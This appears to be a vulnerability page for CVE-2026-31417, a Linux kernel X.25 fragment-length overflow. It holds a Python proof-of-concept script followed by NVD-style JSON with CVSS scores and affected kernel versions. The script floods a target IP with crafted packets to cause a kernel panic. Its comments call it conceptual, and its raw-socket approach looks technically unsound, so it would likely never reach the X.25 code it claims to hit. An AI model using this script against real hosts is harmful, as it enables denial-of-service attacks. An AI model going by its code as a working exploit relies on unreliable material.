CVE-2026-31417

import socket import struct import time # PoC for CVE-2026-31417: Linux Kernel net/x25 overflow # This script attempts to trigger the fraglen overflow by sending crafted X.25 packets. # Note: Target system must have X.25 support enabled in the kernel. def create_x25_packet(): # Constructing a simplified X.25 packet header. # In a real exploit, specific bit patterns would be used to manipulate fraglen. # This is a conceptual demonstration. # X.25 Q-bit / D-bit modifiers can sometimes affect fragmentation handling header = b"\x03" # General Format Identifier header += b"\x00" # Logical Channel Group Number header += b"\x01" # Logical Channel Number header += b"\x01" # Packet Type (Call Request or Data) # Payload designed to fragment and accumulate in fraglen payload = b"\x41" * 1024 return header + payload def send_exploit(target_ip): try: # AF_INET is used here for demonstration, actual X.25 might require specific AF_X25 or raw sockets # depending on the system configuration (e.g., XOT - X.25 over TCP). # This assumes a raw socket or a socket bound to an X.25 interface. print(f"[*] Sending packets to {target_ip} to trigger fraglen overflow...") # If running in an environment with X.25 over IP (XOT), one might target a specific port. # Otherwise, this requires access to the raw layer. # For simulation purposes, we use UDP/ICMP raw socket structure if X.25 is not directly available. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) for i in range(1000): packet = create_x25_packet() # Sending crafted packets to trigger the accumulation logic s.sendto(packet, (target_ip, 0)) print("[+] Exploit packets sent. Check target for kernel panic or instability.") except PermissionError: print("[-] Error: Root privileges are required to send raw sockets.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP send_exploit(target)

{"cve": {"id": "CVE-2026-31417", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-13T14:16:11.097", "lastModified": "2026-05-20T19:34:29.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/x25: Fix overflow when accumulating packets\n\nAdd a check to ensure that `x25_sock.fraglen` does not overflow.\n\nThe `fraglen` also needs to be resetted when purging `fragment_queue` in\n`x25_clear_queues()`."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "5F0E43E1-33E5-4828-9B4A-F710AF2E7217"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", 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